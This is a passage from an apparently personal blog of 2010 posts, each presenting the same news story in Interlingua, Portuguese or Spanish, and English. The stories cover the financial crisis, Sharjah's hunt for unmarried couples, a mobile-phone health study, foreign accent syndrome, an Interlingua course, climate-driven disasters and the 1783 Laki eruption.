mundial.\nQuanto al paises industrialisate, le recerca monstra que Germania combatteva melio le effectos del crise que le Statos Unite e Grande Britannia, que reageva troppo tarde al crise.\n---\nBrasil foi um dos países que melhor reagiu à crise, diz um estudo alemão\nUm estudo divulgado nesta sexta-feira pela fundação Bertelsmann na alemanha diz que o Brasil está entre os países que reagiram de maneira mais efetiva à crise financeira internacional e elogia os programas sociais do governo Lula.\nA pesquisa mostra como 14 países desenvolvidos e em desenvolvimento reagiram à crise, entre eles Brasil, Alemanha, China, Grã-Bretanha, Estados Unidos, Índia e Turquia. Um grupo de especialistas analisou a rapidez e a eficiência das medidas tomadas pelos governos para estabilizar a economia de cada país.\nSegundo a fundação Bertelsmann, os países em desenvolvimento reagiram melhor aos problemas financeiros do que as nações industrializadas. \"Esses países aprenderam com as diversas crises pelas quais passaram nas últimas décadas\", diz o estudo. \"Os países em desenvolvimento fizeram planos eficazes para o enfrentamento de uma possível crise, ajustando seus orçamentos e por isso puderam tomar medidas rápidas e eficientes para reativar suas economias\", diz Sabine Donner, que coordenou a pesquisa.\nEm consequência disso, países como Brasil, China e Índia teriam agora uma posição melhor no mercado mundial do que antes da crise, disse Donner: \"Agora são esses países que estão reavivando a economia mundial\".\nO estudo elogia o modo como o governo de Lula estabilizou as finanças do Estado e controlou o setor bancário durante a crise. Além disso, a demanda interna teria ajudado o país a contornar a crise. Isso se deveria em parte às reformas e aos programas sociais do governo Lula, que teriam aumentado a renda média dos brasileiros, permitindo um aumento do mercado consumidor, segundo a pesquisa.\nOutro ponto positivo para o Brasil teria sido o mercado de ações regulamentado, menos afetado pelas especulações com os títulos hipotecários americanos que deram origem à crise mundial.\nQuanto aos países industrializados, a pesquisa mostra que a Alemanha combateu melhor os efeitos da crise do que os Estados Unidos e a Grã-Bretanha, que teriam reagido tarde demais à crise.\n---\nBrazil was one of the countries that responded best to the crisis, says a German study\nA study released Friday by the Betelsman foundation in Germany says that Brazil is among the countries that responded most effectively to the international financial crisis and praised the social programs of Lula's government.\nThe research shows how fourteen developing and developed countries have reacted to the crisis, including Brazil, Germany, China, Britain, the United States, India, and Turkey. A group of experts examined the speed and efficiency of measures taken by governments to stabilize the economy of each country.\nAccording to the Bertelsmann Foundation, developing countries have reacted better to the financial problems than the industrialized nations. \"These countries have learned from the various crises that they went through in recent decades,\" says the study. \"Developing countries made effective plans for confronting a possible crisis by adjusting their budgets before the crisis and thus could take quick and effective measures to reactivate their economies,\" says Sabine Donner, who coordinated the study.\nAs a result, countries like Brazil, China and India are now in a better position in the global market than they were before the crisis, Donner said, \"Now these are the countries that are reviving the global economy.\"\nThe study praises the way Lula's government stabilized the country's finances and controlled the banking sector during the crisis. Moreover, domestic demand has helped the country overcome the crisis. This was partly due to the reforms and social programs of Lula's government, which increased the average income of Brazilians, allowing growth in the consumer market, according to the study.\nAnother positive point for Brazil was their regulated stock market, which was less affected by speculation with U.S. mortgage securities, which led to the global crisis.\nAs for the industrialized countries, the survey shows that Germany fought the effects of the crisis better than the United States and Britain, which had reacted too late to the crisis.\nPosted by hkyson at 9:36 PM\nFriday, April 23, 2010\n(Languages of this post: Interlingua, Portuguese, English)\nLe policia del emirate arabe de Sharjah vade de porta a porta in cerca de copulas qui non es legalmente maritate e qui sta a viver juncte, lo que viola le leges religiose islamic, secundo le pressa local.\nSharja se trova al latere de Dubai e Abu Dhabi, un del septe emiratos que forma le Emiratos Arabe Unite.\nUn porta voce del policia de Sharjah, Mohammed Amin, diceva que un copula ja esseva detenite e su duo filios parve sta a esser detenite con le matre. Si illes es condemnate a prision, le infantes essera elevate per le stato.\nSecundo le jornal \"The National\", de Abu Dhabi, copulas non formalmente maritate qui vive juncte pote in theoria reciper penas de flagellation, ma il es plus commun dar a illes penas de prision, generalmente de minus que un anno.\nLe jornal affirma que le campania sta a cercar duo tipos de copulas, illes qui non es vermente maritate e stranieros maritate qui non regularisava lor situationes in le pais.\nSecundo \"The National\", post que le Campania comenciava, multe copulas ha vadite al autoritates pro registrar lor maritages.\nSharja es considerate un del emiratos plus conservative. Sexo extraconjugal es prohibite per le leges islamic e pote esser punite con le flagello in le caso de personas non maritate o con le lapidation in le caso de personas maritate, specialmente mulieres.\n---\nA polícia do emirado árabe de Sharja estão à procura de casais que vivem juntos sem estarem casados.\nA polícia no emirado árabe de Sharja está realizando buscas porta a porta procurando casais que não sejam legalmente casados e que estejam vivendo juntos, o que violaria leis religiosas islâmicas, de acordo com a imprensa local.\nSharja é, ao lado de Dubai e Abu Dhabi, um dos sete emirados que integram os Emirados Árabes Unidos.\nUm porta-voz da polícia de Sharja, Mohammed Amin, disse que um casal já foi preso e seus dois filhos pequenos estão detidos juntos com a mãe. Se condenados a prisão, as crianças serão criadas pelo estado.\nDe acordo com o jornal \"The National\", de Abu Dhabi, casais não formalmente casados que vivam juntos podem em tese receber penas de chicotadas, mas é mais comum serem dadas sentenças de prisão, geralmente de menos de um ano.\nO jornal diz que a campanha está à procura de dois tipos de casais, os que não sejam realmente casados e os estrangeiros casados que não regularizassem suas situações no país.\nSegundo o \"The National\", após o início da Campanha, muitos casais têm ido para as autoridades para registrar seus casamentos.\nSharja é considerado um dos emirados mais conservadores. Sexo estraconjugal é proibido pelas leis islâmicas e pode ser punido com o chicote se tratar-se de solteiros, ou mesmo o apedrejamento, se envolver casados, especialmente mulheres.\n---\nThe police of the Arab emirate of Sharjah are looking for couples living together without being married.\nThe police in the Arab Emirate of Sharjah is searching door to door looking for couples who are not legally married and who are living together, which would violate Islamic religious law, according to local media.\nSharjah is next to Dubai and Abu Dhabi, one of seven emirates that make up the United Arab Emirates.\nA spokesman for the police in Sharjah, Mohammed Amin, said that a couple has been arrested, and their two small children have been arrested with their mother. If sentenced to prison, the children will be raised by the state.\nAccording to the Abu Dhabi's newspaper \"The National,\", couples not formally married who are living together could theoretically receive sentences of whipping, but it is most common to give them prison sentences, usually of less than a year.\nThe newspaper says the campaign is looking for two types of couples, those who are not actually married and married foreigners who have not regularized their status in that country.\nAccording to \"The National,\" after the start of the campaign, many couples have gone to the authorities to register their marriages.\nSharjah is considered one of the more conservative emirates. Estraconjugal sex is forbidden by Islamic law and can be punished by whipping in the case of single people or by stoning in the case of those who are married, especially women.\nPosted by hkyson at 2:48 PM\nSe inaugura un studio de vinti o trenta annos sur le repercussiones del telephonos cellular in le sanitate.\n(Languages of this post: Interlingua, Spanish, English)\nLe investigation le plus extensive del mundo sur le effectos sur le sanitate del telephonos cellular se initiava in London e se extendera durante le proxime 20 o 30 annos.\nLe scientistas spera recrutar 250.000 usatores de cinque paises europee (ben que sin eliminar le posibilitate de includer plus nationes in le futuro) pro iste projecto. Le intention del expertos es investigar si il ha un relation inter le uso de telephonos cellular e maladias coronari, cancer, o sideration.\nActualmente il ha plus que 6.000 milliones de telephonos cellular in uso in omne le mundo. Usque nunc, le studios sur le possibile repercussiones del uso del telephonos cellular in le sanitate non ha detegite resultatos adverse.\nNon obstante, le investigatores dice que il ha multe incertitude. Le dubitas surge proque le majoritate del studios sur le thema ha essite troppo breve pro examinar le apparition de diverse tipos de cancer o altere maladias que se disveloppa solmente post un periodo de annos.\nBen que iste projecto habera un duration de vinti o trenta annos, cinque annos essera sufficiente pro producer resultatos preliminar.\n\"Nos va a examinar le apparition possibile de symptomas de multe maladias pro determinar si il ha un cambio in le frequentia de dolores de capite grave, tintinnitus, depression, e disordines del somno\", diceva le doctor Mireille Toledano, co-director del investigation e specialista del Imperial College de London. \"Istes es effectos communmente reportate per le personas qui utilisa telephonos cellular, e nos va a examinar iste symptomas e le possibile maladias subjacente a illes durante un longe periodo de annos.\"\nPro includer le exposition a diverse tipos de radiation electromagnetic, le studio anque includera le systema Wi-Fi, le telephonos sin filos e mesme le monitores pro babies.\n---\nSe inaugura un estudio de veinte o trenta años sobre las repercusiones de los celulares en la salud.\nLa investigación más extensa del mundo sobre los efectos en la salud de los teléfonos celulares se inició en Londres y se extenderá durante los próximos 20 ó 30 años.\nLos científicos esperan reclutar a 250.000 usuarios de cinco países europeos (aunque sin descartar la futura inclusión de más naciones) para este proyecto. La intención de los expertos es investigar si hay relación entre el uso de la telefonía celular y el padecimiento de enfermedad coronaria, cáncer o derrame cerebral.\nEn la actualidad hay más de 6.000 millones de teléfonos celulares en uso en todo el mundo. Hasta ahora, los estudios sobre las posibles repercusiones del uso de los teléfonos celulares en la salud no han arrojado resultados adversos.\nSin embargo, los investigadores dicen que todavía hay mucha incertidumbre. Las dudas surgen porque la mayoría de los estudios sobre el tema han sido demasiado cortos como para examinar la aparición de varios tipos de cáncer u otras enfermedades que se desarrollan solamente después de un período de años.\nAunque este proyecto tendrá una duración de veinte o treinta años, cinco años serán suficientes para producir resultados preliminares.\n\"Vamos a examinar la posible aparición de síntomas de muchas enfermedades para determinar si hay un cambio en la frecuencia de dolores de cabeza graves, tinitus, depresión y desórdenes del sueño\", dijo la doctora Mireille Toledano, co-directora de la investigación y especialista del Imperial College, de Londres. \"Estos son efectos comúnmente reportados por las personas que utilizan celulares, y vamos a examinar estos síntomas y las posibles enfermedades subyacentes a los mismos durante un largo período de años.\"\nPara abarcar la exposición a varios tipos de radiaciones electromagnéticas, el estudio incluirá también el sistema Wi-Fi, los teléfonos inalámbricos e, incluso, los monitores para bebés.\n---\nA twenty-to-thirty-year study on the impact of mobile phones on health is being inaugurated.\nThe world's most extensive research on the health effects of cellular phones began in London and will continue for the next twenty or thirty years.\nScientists hope to recruit 250,000 users in five European countries (though without eliminating the possible future inclusion of more nations) for this project. The intention of the experts is to investigate whether there is a relationship between cell phone use and the condition of coronary heart disease, cancer, or stroke.\nCurrently there are over six billion cell phones in use everywhere in the world. So far, studies on the possible impacts of cell phone use on health have shown no adverse outcomes.\nHowever, the researchers say that there is still much uncertainty. Doubts arise because most studies on the subject have been too short to examine the appearance of several types of cancer or other illnesses that develop only after a period of years.\nAlthough this project will last twenty or thirty years, five years will be enough to produce preliminary results.\n\"We are going to examine the possible emergence of a lot of diseases to find out if there is a change in frequency of serious headaches, ringing in the ears, depression, and sleep disorders,\" said Dr Mireille Toledano, co-director of research and a specialist at Imperial College in London. \"These are common effects reported by people using cell phones, and we will be examining these symptoms and the possible diseases underlying them for a long period of years.\"\nTo cover exposure to various types of electromagnetic radiation, the study will also include Wi-Fi, wireless telephones, and even baby monitors.\nPosted by hkyson at 2:25 PM\n(Languages of this post: Interlingua, Portuguese, English)\nUn mulier Britannic sta a esser tractate per phonoaudiologos a causa de parlar anglese con un accento chinese post suffrer un grave crise de migraine.\nSarah Colwill, un technica in informatica de 35 annos, esseva diagnosticate con lo que se appella le syndrome del accento estranie, un maladia rarissime que resulta de damnos in le parte del cerebro que controla le parola e le pronunciation.\nLe medico John Coleman, specialista in phonetica del Universitate de Oxford, disse que, in general, le syndrome es provocate per problemas de sideration o lesiones cerebral.\nMa illa crede que su problema comenciava post un fortissime dolor de capite, que la obligava a advocar le servicios de un ambulantia.\n\"Le telephonista e le paramedicos qui me attendeva commentava que io parlava con un accento chinese, in despecto de que io nunquam habeva vadite a China e ha vivite omne mi vita in le sud de Anglaterra\", contava Cowilla jornales Britannic.\nSpecialistas crede que existe minus que vinti personas in omne le mundo qui suffre del mesme problema. Le prime caso registrate esseva illo de un mulier attingite durante un bombardeo in Norvegia in 1941, qui comenciava a parlar le norvegese con un accento german.\n---\nMulher britânica fala com um sotaque chinês após uma crise de enxaqueca.\nUma mulher britânica está sendo tratada por fonoaudiólogos por ter passado a falar inglês com sotaque chinês depois de sofrer uma grave crise de enxaqueca.\nSarah Colwill, técnica em informática de 35 anos, foi diagnosticada com a chamada Síndrome do Sotaque Estrangeiro, um mal raríssimo que resulta de danos na parte do cérebro que controla a fala e a pronúncia.\nO médico John Coleman, especialista em fonética da Universidade de Oxford disse que, em geral, a síndrome é provocada por derrames ou lesões cerebrais.\nMas ela acredita que seu problema começou após uma fortíssima dor de cabeça, que a obrigou a chamar uma ambulância.\n\"A telefonista e os paramédicos que me atenderam comentaram que eu estava com um sotaque chinês, apesar de eu nunca ter ido à China e ter vivido toda a minha vida no sul da Inglaterra\", contou Cowill a jornais britânicos.\nEspecialistas acreditam que existam menos de veinte pessoas em todo o mundo sofrendo do mesmo problema. O primeiro caso registrado foi o de uma mulher atingida durante um bombardeio na Noruega, em 1941, que passou a falar com norueguês com sotaque alemão.\n---\nBritish woman speaks with a Chinese accent after a migraine attack.\nA British woman is being treated by speech therapists because she speaks English with a Chinese accent after going through a severe migraine attack.\nSarah Colwill, a thirty-five-year-old computer scientist, was diagnosed with so-called Foreign Accent Syndrome, a rare illness that results from damage to part of the brain that controls speech and pronunciation.\nThe doctor John Coleman, an expert in phonetics at Oxford University, said that in general the syndrome is caused by strokes or brain damage.\nBut she believes that her trouble began after a splitting headache that forced her to call an ambulance.\n\"The operator and the paramedics who attended to me commented that I was speaking with a Chinese accent, although I have never gone to China and have lived my whole life in southern England, Cowill told some British newspapers.\nExperts believe fewer than twenty people worldwide suffer from the same problem. The first documented case was of a woman who was injured after a bombing in Norway in 1941, when she began to speak with a German accent.\nPosted by hkyson at 2:06 PM\n(Languages of this post: Interlingua, English)\n\"Interlingua in interlingua\" (http:\/\/interlingua-in-interlingua.tripod.com), un publication con articulos sur le scientias, viages, e le interlinguistica, anque ha un curso que io elaborava que contene dece e octo capitulos.\nLe curso es completemente in interlingua. Si vos jam cognosce un lingua romanic o un lingua romanic e le anglese, vos probabilemente potera studiar lo sin difficultate. Si vos cognosce solmente le anglese, il es possibile que vos volera comenciar con un curso in interlingua dedicate specialmente a anglophonos. Ma a causa del simplicitate del grammatica de interlingua, multo tosto vos potera comenciar a studiar le curso que io publicava in \"Interlingua in interlingua\".\nLe capitulos in le prime parte del curso se divide in duo partes, le prime con un serie de textos a esser legite e le secunde con notas structural, le quales presenta un minimo de commentario grammatic con un ric selection de exemplos illustrative.\nCapitulo 1 presenta le verbos.\nCapitulo 2 presenta le nomines personal e le demonstrativos.\nCapitulo 3 presenta le articulos, adjectivos, adverbios, nomines, alicun notas sur parolas lexic e grammatic, e Parte 1 de un serie de notas sur parolas lexic.\nCapitulo 4 continua con Parte 2 de mi serie de notas sur parolas lexic.\nCapitulo 5 conclude con Parte 3 de mi serie de notas sur parolas lexic.\nCapitulo 6 comencia un discussion del syntaxe de interlingua. Illo comencia con un presentation del vocabulario necesse pro le discussion de conceptos syntactic e tunc presenta syntagmas propositional e prepositional.\nCapitulo 7 discute verbos modal e phrases verbal, le elaboration de phrases nominal, e syntagmas propositional relative e adverbial. Illo conclude con un discussion de appositivos.\nCapitulo 8 comencia le discussion del construction de syntagmas propositional plus complicate e explica lor expansion con un serie de questiones e responsas.\nCapitulo 9 continua le discussion del expansion de syntagmas propositional plus complicate.\nCapitulo 10 conclude le discussion del expansion de syntagmas propositional, con un nota sur constructiones absolute a su fin.\nCapitulo 11 discute le orthographia collateral de interlingua.\nCapitulo 12 discute numeros cardinal e ordinal.\nCapitulo 13 discute le pronunciation de interlingua. Isto es le ultime capitulo con notas structural.\nCapitulos 14-18 continua le presentation de un schizzo del historia del seculo vinti.\nA causa del simplicitate del grammatica de interlingua e su grande similaritate que illo ha con le characteristicas principal de su linguas fonte, cata capitulo de iste curso presenta multe information de un maniera multo concise e clar. Cata capitulo es rationabilemente breve e pote esser facilemente discargate, imprimite, e studiate--sia passivemente o plus intensivemente, si vos vole un cognoscimento active de interlingua.\n---\nSome comments on the Interlingua course I elaborated for \"Interlingua in Interlingua\"\n\"Interlingua in Interlingua\" (http:\/\/interlingua-in-interligua.tripod.com), a publication with articles on the sciences, travel, and interlinguistics, also has a course that I elaborated containing eighteen chapters.\nThe course is entirely in interlingua. If you already know a Romance language or a Romance language and English, you probably will be able to study it without difficulty. If you know only English, it is possible you will want to start with a course in Interlingua dedicated especially to English speakers. But because of the simplicity of the grammar of Interlingua, very soon you will be able to start studying the course I published in \"Interlingua in Interlingua.\"\nThe chapters in the first part of the course are divided into two parts, the first with texts to be read and the second with structural notes, which present a minimum of grammatical commentary coupled with a rich selection of illustrative examples.\nChapter 1 presents the verbs.\nChapter 2 presents the personal pronouns and demonstratives.\nChapter 3 presents the articles, adjectives, adverbs, nouns, some notes on lexical and grammatical words, and Part 1 of a series of notes on lexical words.\nChapter 4 continues with Part 2 of my series of notes on lexical words.\nChapter 5 concludes with Part 3 of my series of notes on lexical words.\nChapter 6 begins a discussion of the syntax of Interlingua. It starts out with a presentation of the vocabulary needed to discuss syntactical concepts and then presents sentences and prepositional phrases.\nChapter 7 discusses modal verbs and verb phrases, the elaboration of noun phrases, and relative and adverbial clauses. It concludes with a discussion of appositives.\nChapter 8 begins the discussion of the construction of more complicated sentences explaining their expansion through a series of questions and answers.\nChapter 9 continues the discussion of the expansion of more complicated sentences.\nChapter 10 concludes the discussion of the expansion of sentences, with a note on absolute constructions at its end.\nChapter 11 discusses the collateral spelling of Interlingua.\nChapter 12 discusses cardinal and ordinal numbers.\nChapter 13 discusses the pronunciation of Interlingua. This is the last chapter with structural notes.\nChapter 14-18 continue the presentation of a sketch of the history of the twentieth century.\nBecause of the simplicity of Interlingua grammar and its great similarity it has with the principal characteristics of its source languages, each chapter of this course presents a lot of information very concisely and clearly. Each chapter is reasonably short and can be conveniently downloaded, printed, and studied--either passively or more intensively, if you want an active knowledge of Interlingua.\nPosted by hkyson at 1:22 AM\nWednesday, April 21, 2010\n(Languages of this post: Interlingua, Spanish, English)\nUn serie de studios publicate iste septimana per le Royal Society de London, in le Regno Unite, conclude que il ha sufficiente evidentia pro affirmar que le cambio climatic provocara un plus grande incidentia de seismos, eruptiones vulcanic, inundationes, e altere disastros natural.\nLe conclusion es que durante que cambia le clima, augmenta le probabilitate del production de disastros. \"Illo es basicamente un problema statistic\", diceva David Pyle, Professor de Scientias del Terra del Universitate de Oxford, un del autores del publication. \"Se producera plus pluvias, plus inundationes, plus lapsos de terra, ma on nunquam potera attributer al cambio climatic iste o ille disastro natural in particular. Multe vulcanos de Sud America, pro exemplo, se trova coperite per glacie. Si le cambio climatic face retroceder iste glacieros, le vulcanos devenira plus susceptibile al lapsos de terra e al erosion.\"\nToto se reduce a un problema de pression. Secundo le expertos, le calefaction global pote generar un disastro, como un seismo, pro exemplo, per le forma in que illo pote mobilisar grande quantitates de massa sur le superficie del Terra. Le fusion del glacieros e le elevation del nivello del mares cambia le distribution de enorme quantitates de aqua, que libera e augmenta le pression in partes del terreno de nostre planeta. Iste cambios de pression augmenta le possibilitate de movimentos seismic e rupturas.\nSecundo Bill McGuire, del Centro de Investigation de Disastros del University College de London, le autor de un del studios publicate per le Royal Society, le cambios mentionate per Pyle pote occurrer in le proxime decadas o seculos e non intra milles de annos, dependente del velocitate del augmento del nivellos del oceanos.\nLe altere latere del numisma es como le disastros natural affice le cambio climatic. In le caso del volcano Eyjafjallajökull de Islandia, su impacto, secundo Pyle, es minime. Generalmente, le eruptiones vulcanic, si illos es grave, contribue a diminuer le temperatura, alique que desde le puncto de vista del calefaction global es benefic. \"In iste momento\", dice Pyla, \"il non ha evidentia que le volcano sta a liberar un grande quantitate de gas a in le atmosphera, que es un factor clave in lo que respecta al cambio climatic\".\n---\nVolcanes, terremotos y el cambio climático\nUna serie de estudios publicados esta semana por la Royal Society de Londres, en el Reino Unido, concluye que hay suficiente evidencia como para afirmar que el cambio climático provocará una mayor incidencia de terremotos, erupciones volcánicas, inundaciones, deslaves y demás desastres naturales.\nLa conclusión es que a medida que cambia el clima, aumenta la probabilidad de que se produzcan desastres. \"Es básicamente un problema estadístico\", dijo David Pyle, Profesor de Ciencias de la Tierra de la Universidad de Oxford, uno de los autores de la publicación. \"Se producirán más lluvias, más inundaciones y más deslaves, pero nunca podrás atribuir al cambio climático éste o aquél desastre natural en particular. Muchos volcanes de América del Sur, por ejemplo, están cubiertos por hielos. Si el cambio climático hace retroceder a estos glaciares, los volcanes se volverán más susceptibles a los deslaves y la erosion.\"\nTodo se reduce a un problema de presión. Según los expertos, el calentamiento global puede generar un desastre, como un terremoto, por ejemplo, por la forma en que puede movilizar grandes cantidades de masa en la superficie de la Tierra. El derretimiento de los glaciares y la elevación del nivel de los mares cambian la distribución de enormes cantidades de agua, que liberan y aumentan la presión en los suelos de partes de nuestro planeta. Estos cambios de presión aumentan la posibilidad de movimientos sísmicos y rupturas.\nSegún Bill McGuire, del Centro de Investigación de Desastres del University College de Londres, autor de uno de los estudios publicados por la Royal Society, los cambios mencionados por Pyle pueden ocurrir en las próximas décadas o siglos y no dentro de miles de años, dependiendo de la velocidad del aumento de los niveles de los océanos.\nLa otra cara de la moneda es cómo los desastres naturales afectan al cambio climático. En el caso del volcán Eyjafjallajökull de Islandia, su impacto, según Pyle, es mínimo. Por lo general, las erupciones volcánicas, si son graves, contribuyen a disminuir la temperatura, algo que desde el punto de vista del calentamiento global es beneficioso. \"Pero por el momento\", señala Pyle \"no hay evidencia de que el volcán esté liberando una gran cantidad de gas en la atmósfera, que es un factor clave en cuanto al cambio climatic\".\n---\nVolcanoes, earthquakes, and climate change\nA series of studies published this week by the Royal Society of London concludes that there is enough evidence to say that climate change will cause a higher incidence of earthquakes, volcanic eruptions, floods, landslides and other natural disasters.\nThe conclusion is that as climate changes, the probability of the occurrence of disasters goes up. \"It's basically a statistical problem, \"said David Pyle, Professor of Earth Sciences at Oxford University, one of the authors of the publication. \"There will be more rain, more floods, more landslides, but you can't ever attribute to climate change this or that particular natural disaster. Many South American volcanoes, for example, are covered by ice. If climate change pushes back these glaciers, volcanoes become more susceptible to landslides and erosion.\"\nIt comes down to a pressure problem. According to experts, global warming can generate a disaster like an earthquake, for instance, because of the way it can mobilize large amounts of mass on the Earth's surface. The melting of glaciers and rising sea levels change the distribution of vast amounts of water, which release and increase the pressure on parts of the earth's crust. These pressure changes increase the possibility of earthquakes and ruptures.\nAccording to Bill McGuire, of the Disaster Research Center at University College London, the author of one study published by the Royal Society, the changes mentioned by Pyle may occur in the coming decades or centuries, not within thousands of years, depending on the speed of the the increase in ocean levels.\nThe other side of the coin is how natural disasters affect climate change. In the case of the Eyjafjallajökull volcano in Iceland, their impact, according to Pyle, is minimal. In general, volcanic eruptions, if they are severe, contribute to lowering the temperature, which from the point of view of global warming is beneficial. \"But at this moment,\" Pyle said \"there is evidence that the volcano is releasing a large amount of gas in the atmosphere, which is a key factor connected with climate change.\"\nPosted by hkyson at 7:59 PM\nTuesday, April 20, 2010\n(Languages of this post: Interlingua, Spanish, English)\nLe cineres vulcanic es uncontinue causa del cancellation de numerose volos a Europa, ma ante 227 annos un eruption etiam plus devastante causava le morte de un quinte parte del population de Islandia e decenas de milles de personas in Europa.\nIn junio de 1783, le juvene pais de Islandia, que habeva essite populate pro solmente 750 annos, habeva un population de 50.000 personas. Plus que 10.000 personas moriva in Islandia in le annos sequente como resultato de lo que comenciava ille domenica.\nLe eruption de Laki es totevia le pejor catastrophe in le relative breve historia del pais. Laki es un systema vulcanic que se trova in le mesme parte del sudest de Islandia ubi occurreva le eruption recente que ha obligate le cancellation de multe volos de aerolineas trans le Atlantico e in Europa.\nMa le eruption in 1783 esseva differente. Illo esseva un fortia que produceva un grande fissura in forma de crateres que continuava a bullir. In le proxime octo menses le craters de Laki jectava a in le atmosphera un plus grande quantitate de gases toxic que ulle altere eruption in le ultime 150 annos. Le effectos se faceva notar in omne le hemispherio nord.\nMulte gente moriva non a causa del eruption ma del fame. Le animales e recoltas moriva e afficeva omne le pais. Le production de sulfure esseva tan grande que a su latere le eruption de Pinatubo in le Philippinas, que es famose pro haber stoppate le calefaction global durante diverse annos, pare parve.\nLe explosion in le Philippinas produceva 17 megatonnas de dioxido de sulfure, le mesme quantitate que Laki liberava al atmosphera in solmente tres dies in su momento le plus active in 1783. Le nube de cineres se extendeva trans Norvegia, Germania, Francia, e Grande Britannia, causante alarma quando fermeros comenciava a morir como muscas. Le gente non habeva ulle idea sur le origine del nube e anque non sapeva que le dioxido de sulfure se misceva con le vapor de aqua in le plulmones, asphysiante assi le victimas de iste disastro. Secundo datos del epocha, on estima que moriva plus que 20.000 personas solmente in Gande Britannia durante le estate de 1783.\nLe nube del eruption non se dispergeva usque le autumno sequente. Ma isto solmente impejorava le situation, ducente al hiberno le plus sever del ultime 250 annos. Nulle altere sito suffreva plus que Islandia. Illo non esseva le eruption que resultava mortal ma su consequentias ambiental, explica Gunnar Gudmundsson, un geophysico del Officina Meteorologic de Islandia. \"Le gente moriva non a causa del eruption ma del fame\", diceva ille. \"Le animales e le recoltas moriva, e illo afficeva omne le pais.\"\nLe gases toxic invenenava le plantas e le vegetation, que tunc occideva le bestial. On crede que octo de cata dece oves moriva, durante que le medietate del vaccas e le cavallos periva. Le hiberno extreme que sequeva resultava in le morte de un quinte parte del population, secundo estimationes historic.\nCuando le politicos compara le difficultates del recente crise economic con iste tragedia natural, le gente se scandalisa. Naturalmente il non ha ulle comparation. In le actualitate, le 20 al 25% del population de Islandia se trova in un debito immense. Ma in 1783 le mesme proportion del population moriva a causa del resultatos de iste eruption vulcanic immense.\nIn le scholas contemporanee, le pueros studia le vulcano islandese Kali. Le frequente eruptiones vulcanic in le pais face obligatori le studio del geologia e le vulcanologia in le curriculo del scholas de Islandia.\n--\nLa erupción que hizo un cambio permanente en Islandia.\nLas cenizas volcánica siguen causando la cancelación de numerosos vuelos a Europa, pero hace 227 años una erupción aún más devastadora causó la muerte de una quinta parte de la población de Islandia y decenas de miles de personas en Europa.\nEn junio de 1783, el joven país de Islandia, que había permanecido habitado durante tan sólo 750 años, contaba con una población de 50.000 personas. Más de 10.000 personas murieron en Islandia en los años siguientes como resultado de lo que comenzó aquel domingo.\nLa erupción de Laki constituye todavía la peor catástrofe en la relativamente corta historia del país. Laki es un sistema volcánico que se encuentra en la misma parte del sureste de Islandia donde tuvo lugar la erupción reciente que ha causado la interrupción de muchos vuelos de aerolíneas a través del Atlántico y en Europa.\nPero la erupción en 1783 era diferente. Era una fuerza que produjo una gran grieta en forma de cráteres que siguieron a hervir. En los próximos ocho meses los crateres de Laki arrojaron a la atmósfera una mayor cantidad de gases tóxicos que cualquier otra erupción en los últimos 150 años. Los efectos se hicieron notar en todo el hemisferio norte.\nMucha gente murió no por la erupción, sino de hambre. Los animales y los cultivos murieron y afectó a todo el país. La producción de sulfuro fue tal que a su lado la erupción del Pinatubo en las Filipinas, que es famosa por haber parado el calentamiento global durante varios años, parece pequeña.\nLa explosión filipina produjo 17 mega toneladas de dióxido de sulfuro, la misma cantidad que Laki soltó en tan sólo tres días en su momento más activo in 1783. La nube de cenizas se extendió por Noruega, Alemania, Francia y Gran Bretaña, causando alarma cuando los granjeros empezaron a morir como moscas. La gente no tenía ni idea sobre la procedencia de la nube y tampoco sabía que el dióxido de sulfuro se mezclaba con el vapor de agua en los pulmones asfixiando así a las víctimas de este desastre. Según datos de la época, se estiman que murieron más de 20.000 personas sólo en Gran Bretaña durante el verano de 1783.\nLa niebla de la erupción se dispersó solamente en el otoño siguiente. Pero esto no hizo sino empeorar la situación, dando paso al invierno más severo de los últimos 250 años. Ningún otro sitio sufrió más que Islandia. No fue la erupción la que resultó mortal, sino sus consecuencias medioambientales, explica Gunnar Gudmundsson, un geofísico de la Oficina Metereólogica de Islandia. \"La gente murió no por la erupción, sino de hambre\", dijo. \"Los animales y los cultivos murieron, y afectó a todo el país.\"\nLos gases tóxicos envenenaron las plantas y la vegetación, que a su vez mató al ganado. Se cree que ocho de cada diez ovejas murieron, mientras que la mitad de las reses y los caballos perecieron. El invierno extreme que siguió supuso la muerte de una quinta parte de la población, según estimaciones históricas.\nCuando los políticos comparan las dificultades de la reciente crisis económica con esta tragedia natural, la gente se escandaliza. Por supuesto no hay comparación. En la actualidad, el 20 al 25% de la población de Islandia se encuentra en una deuda inmensa. Pero en 1783 la misma proporción de la población murió debido a los resultados de esta erupción volcánica inmensa.\nEn las escuelas de hoy, los niños estudian el volcán islandés Kali. Las frecuentes erupciones volcánicas en el país hacen que el estudio de la geología y vulcanología formen una de las materias obligatorias del currículo en las escuelas de Islandia.\n---\nThe eruption that made a permanent change in Iceland.\nVolcanic ash is an ongoing cause of the cancelation of flights to most of Europe, but 227 years ago an even more devastating eruption caused the deaths of a fifth of the population of Iceland and tens of thousands of people in Europe.\nIn June, 1783, the young country of Iceland, which had been inhabited for only 750 years, had a population of 50,000 people. More than 10,000 people died in Iceland in the following years as a result of what began that Sunday.\nThe eruption of Laki still constitutes the worst catastrophe in the relatively short history of the country. Laki is a volcanic system in southeastern Iceland where the recent eruption causing the cancelation of many transatlantic and European airline flights took place.\nBut the 1783 eruption was different. It was a force that produced a large crack in the form of craters that continued to boil. In the next eight months the craters of Laki belched out into the atmosphere a larger amount of toxic gases than any other eruption in the last 150 years. The effects were felt throughout the northern hemisphere.\nMany people died not by the eruption, but from hunger. Farm animals and crops were killed and affected the entire country. The sulfur production was so great that beside it the eruption of Pinatubo in the Philippines, which is famous for having stopped the global warming for several years, seems small.\nThe explosion in the Philippines produced seventeen megatons of sulfur dioxide, the same amount that Laki released in just three days at its most active moment in 1783. The ash cloud spread to Norway, Germany, France and Britain, causing alarm when farmers began dying like flies. People had no idea about the origin of the cloud and also did not know that the sulfur dioxide became mixed with water vapor in the lungs and choked the victims of this disaster. According to data from that time, it is estimated that more than 20,000 people died in Britain alone during the summer of 1783.\nThe mist from the eruption dispersed only in the following autumn. But this only worsened the situation, leading to the most severe winter of the previous 250 years. No other site suffered more than Iceland. It was not the eruption that proved deadly, but its environmental consequences, explains Gunnar Gudmundsson, a geophysicist at the Icelandic Meteorological Office. \"People died not from the eruption, but from hunger,\" he said. \"The animals and crops were killed, and it affected the entire country.\"\nToxic fumes poisoned plants and vegetation, which in turn killed the cattle. It is believed that eight out of ten sheep were killed, while half of the cattle and horses perished. The extreme winter that followed resulted in the death of a fifth of 